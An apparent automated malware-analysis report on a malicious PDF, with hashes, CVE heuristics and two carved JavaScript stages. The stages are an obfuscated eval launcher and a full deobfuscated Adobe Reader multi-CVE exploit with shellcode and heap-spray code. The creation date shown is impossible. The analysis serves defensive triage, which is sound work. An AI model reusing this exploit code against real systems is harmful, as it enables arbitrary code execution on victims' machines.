Malicious PDF — malware analysis report

Static analysis result for SHA-256 7b06fde89b93508c…

MALICIOUS

PDF

26.1 KB Created: 2011-72-51 03:25:00
MD5: 698af73e86c96f5fae8f88c6f21bf681 SHA-1: 7f72a4e3f94d1ecfb1b1d6950a09084b19cea16b SHA-256: 7b06fde89b93508cde4154ab0475138bbef9d31e80ff754cd10abcf30e4f2f4e
548 Risk Score

Malware Insights

MITRE ATT&CK
T1203 Exploitation for Client Execution T1059.007 JavaScript

This PDF file contains embedded JavaScript that leverages multiple known vulnerabilities in Adobe Reader (CVE-2009-4324, CVE-2009-0927, CVE-2007-5659, CVE-2008-2992) to execute arbitrary code. The deobfuscated JavaScript appears to be a stager designed to download and execute a secondary payload, indicated by the presence of shellcode-like data and heap manipulation techniques.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 11

  • media.newPlayer — CVE-2009-4324 critical CVE exact CVE_2009_4324
    PDF JavaScript calls media.newPlayer — CVE-2009-4324 is a use-after-free in Adobe Reader's multimedia plugin triggered by media.newPlayer(). Actively exploited as a zero-day in December 2009. (identified after JavaScript deobfuscation)
  • Collab.getIcon — CVE-2009-0927 critical CVE exact CVE_2009_0927
    PDF JavaScript calls Collab.getIcon — CVE-2009-0927 is a stack buffer overflow in Adobe Reader triggered by Collab.getIcon() with a crafted argument. Allows arbitrary code execution. (identified after JavaScript deobfuscation)
  • Collab.collectEmailInfo — CVE-2007-5659 critical CVE exact CVE_2007_5659
    PDF JavaScript calls Collab.collectEmailInfo — CVE-2007-5659 is a buffer overflow in Adobe Reader triggered by a long argument or heap-sprayed message field passed to Collab.collectEmailInfo(). Part of a series of Acrobat JS API exploits. (identified after JavaScript deobfuscation)
  • util.printf — CVE-2008-2992 critical CVE exact CVE_2008_2992
    PDF JavaScript calls util.printf() — CVE-2008-2992 is a stack buffer overflow in Adobe Reader triggered by a long format-specifier argument. Widely exploited in the wild after disclosure. (identified after JavaScript deobfuscation)
  • Pidief-style multi-CVE JavaScript dispatcher critical CVE likely PDF_PIDIEF_MULTI_CVE_DISPATCH
    A single JavaScript body branches on app.viewerVersion and invokes two or more of the canonical Reader sinks (Collab.collectEmailInfo, Collab.getIcon, util.printf with a field-width format string). This is the 2009-2010 Pidief.J multi-exploit landing template: a per-version dispatcher that fires the matching CVE chain for whichever Reader version opens the file.
  • Multi-CVE Adobe Reader JavaScript exploit kit critical PDF_ADOBE_READER_MULTI_CVE_JS_KIT
    One recovered JavaScript stage contains multiple version-gated Adobe Reader exploit branches. This is stronger evidence than independent API keywords: the PDF is selecting old Reader vulnerabilities by viewer version and running heap-sprayed Acrobat JavaScript exploit paths.
  • JavaScript action low 2 related findings PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • PDF JavaScript exploit cluster critical PDF_JS_EXPLOIT_CLUSTER
    PDF combines an executable JavaScript/action surface with exploit staging indicators such as eval/unescape/fromCharCode, XFA script content, or a related CVE pattern. Benign form JavaScript remains low-severity, but this correlated cluster is high-confidence malicious behavior.
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • PDF metadata arithmetic JavaScript stager high PDF_INFO_ARITHMETIC_JS_STAGER
    PDF metadata hides JavaScript as arithmetic character-code tokens inside document information fields, then a launcher rebuilds it with String.fromCharCode and eval. The decoder is gated on metadata access from the launcher, a large arithmetic token table, and recovered exploit-like JavaScript.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0001_000.js
cba1aa9898d321e800fe8a936360ed74d999f0b301edf22167175b897c7ceb17		 pdf-javascript-stream PDF /JS object 1 at offset 0x6459 851 bytes
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 1 eval/decoder/string-building token(s).
Preview script
First 1,000 lines of the extracted script
var QezOtu='';
var FdeCupe=this.producer.substr(0,4);
for(var ZuwyKuv in this) {
	if (ZuwyKuv=='FdeCupe')
		XicebeduYqa=eval(ZuwyKuv.replace('FdeCup','')+'val');
}
uajofmyWedoc = XicebeduYqa('new Date(2007,2,51,2,12,5)');
ZkabUhuqafuq = 'thi'+uajofmyWedoc.getHours()+'ducer';
XuqixuWumavgife=XicebeduYqa(ZkabUhuqafuq.replace(2,'s.pro'));
XuqixuWumavgife = XuqixuWumavgife.replace(/t/g,'2');
JifozYpame = XuqixuWumavgife.substr(4).split('s');
var NwAj = '';
g = uajofmyWedoc.getHours()*2;
var FififapoguvYaxob = 'fro'+uajofmyWedoc.getHours()+'arCode';
FififapoguvYaxob=FififapoguvYaxob.replace(2,'mCh');
DagAgybawivopes=String[FififapoguvYaxob];
for (ZuwyKuv = 0; ZuwyKuv < JifozYpame.length; ZuwyKuv++) {
	TiwcurAvopyduxexal = XicebeduYqa(JifozYpame[ZuwyKuv]);
	NwAj += DagAgybawivopes(TiwcurAvopyduxexal);
}
XicebeduYqa(NwAj);
info_arithmetic_stage_000.js
b960e4406d3a8d6fac0cf294eb9180db87ddeb913e501fa454a5c354d73c2c16		 deobfuscated-js PDF /Info Producer s-arithmetic JavaScript at offset 0x23 3722 bytes
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 11 eval/decoder/string-building token(s). Carved artifact contains 1 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
var bjsg='%u9090%u9090%u16EB%u53B9%u0001%u8B00%u2434%uF789%u3E80%u74E9%uAC06%u2534%uE2AA%uC3FA%uE5E8%uFFFF%uCCFF%u2429%u2525%uA47B%u79C9%u2524%uAC25%uA8C2%u356A%u4AA8%u1471%u72FE%u7674%u7676%u7676%u7676%u7670%u4D76%u2421%u2525%u7370%u4D76%u4B4A%u2525%u504D%u4957%u7148%uAB4D%u2B6B%uCDC9%u256D%u2525%uCD75%u2559%u2525%uF5DA%uE1A6%u4D2D%uCA6A%u206A%uCD75%u2549%u2525%uF5DA%uE5A0%u3250%u714F%uD67C%u4D8F%uDB57%u3396%u38CD%u2525%u7525%u74CD%u2525%uDA25%u76F5%uDB4F%uAC4D%u244A%uCD98%u252D%u2525%uCD75%u2519%u2525%uF5DA%u1445%u41E5%u75AE%uAE15%u2977%u77AE%uAE31%u0D57%u3D9C%u2525%u1425%u14DA%u89E5%u4419%u2759%u0509%uEAE4%u2428%uC7E2%uA4D5%u7EDA%u6F99%uAE4F%u3567%u37AE%uFC50%u61AC%u3901%uE644%uAE45%u0149%uAE01%u1960%u71AE%u5D20%uCF24%u6FAE%uAE3D%u057F%uCE24%u11C6%uAE6C%uAE11%uCB24%uDA14%uE514%u89D9%uE5A1%u2251%uEAE4%u2428%uCEE2%u1ED1%u0159%u500D%uAEC4%u017F%uCE24%uAE43%u6E29%u7FAE%u2439%uAECE%uAE21%uCD24%u61AC%u3901%uE744%u252D%uCACD%uDADB%u4DDA%u5151%u1F55%u0A0A%u4B48%u5240%u404C%u4149%u460B%u0B5F%u4646%u4A0A%u5150%u550B%u554D%u441A%u7418%u4E74%u6763%u1542%u6767%u1542%u6168%u6464%u6067%u464E%u676F%u1864%u0318%u1855%u2512';function ezvr(ra,qy){while(ra.length*2<qy){ra+=ra;}
ra=ra.substring(0,qy/2);return ra;} 
function bx(){var dkg=new Array();var vw=0x0c0c0c0c;var addr=0x400000;var payload=unescape(bjsg);var sc_len=payload.length*2;var qy=addr-(sc_len+0x38);var yarsp=unescape("%u9090%u9090");yarsp=ezvr(yarsp,qy);var count2=(vw-0x400000)/addr;for(var count=0;count<count2;count++){dkg[count]=yarsp+payload;} 
var overflow=unescape("%u0c0c%u0c0c");while(overflow.length<44952){overflow+=overflow;} 
this.collabStore=Collab.collectEmailInfo({subj:"",msg:overflow});} 
function printf(){nop=unescape("%u0A0A%u0A0A%u0A0A%u0A0A");var payload=unescape(bjsg);heapblock=nop+payload;bigblock=unescape("%u0A0A%u0A0A");headersize=20;spray=headersize+heapblock.length;while(bigblock.length<spray){bigblock+=bigblock;} 
fillblock=bigblock.substring(0,spray);block=bigblock.substring(0,bigblock.length-spray);while(block.length+spray<0x40000){block=block+block+fillblock;} 
mem=new Array();for(i=0;i<1400;i++){mem[i]=block+heapblock;} 
var num=12999999999999999999888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888;util.printf("%45000f",num);} 
function geticon(){var arry=new Array();if(app.doc.Collab.getIcon){var payload=unescape(bjsg);var hWq500CN=payload.length*2;var qy=0x400000-(hWq500CN+0x38);var yarsp=unescape("%u9090%u9090");yarsp=ezvr(yarsp,qy);var p5AjK65f=(0x0c0c0c0c-0x400000)/0x400000;for(var vqcQD96y=0;vqcQD96y<p5AjK65f;vqcQD96y++){arry[vqcQD96y]=yarsp+payload;} 
var tUMhNbGw=unescape("%09");while(tUMhNbGw.length<0x4000){tUMhNbGw+=tUMhNbGw;} 
tUMhNbGw="N."+tUMhNbGw;app.doc.Collab.getIcon(tUMhNbGw);}} 

aPlugins=app.plugIns;var sv=parseInt(app.viewerVersion.toString().charAt(0));for(var i=0;i<aPlugins.length;i++){if(aPlugins[i].name=='EScript'){var lv=aPlugins[i].version;}} 
if((lv==9)||((sv==8)&&(lv<=8.12))){geticon();}else if(lv==7.1){printf();}else if(((sv==6)||(sv==7))&&(lv<7.11)){bx();}else if((lv>=9.1)||(lv<=9.2)||(lv>=8.13)||(lv<=8.17)){function a(){util.printd('p@111111111111111111111111 : yyyy111',new Date());}
var h=app.plugIns;for(var f=0;f<h.length;f++){if(h[f].name=='EScript'){var i=h[f].version;}} 
if((i>8.12)&&(i<8.2)){c=new Array();var d=unescape('%u9090%u9090');var e=unescape(bjsg);while(d.length<=0x8000){d+=d;}
d=d.substr(0,0x8000-e.length);for(f=0;f<2900;f++){c[f]=d+e;}
a();a();try{this.media.newPlayer(null);}catch(e){}
a();}}

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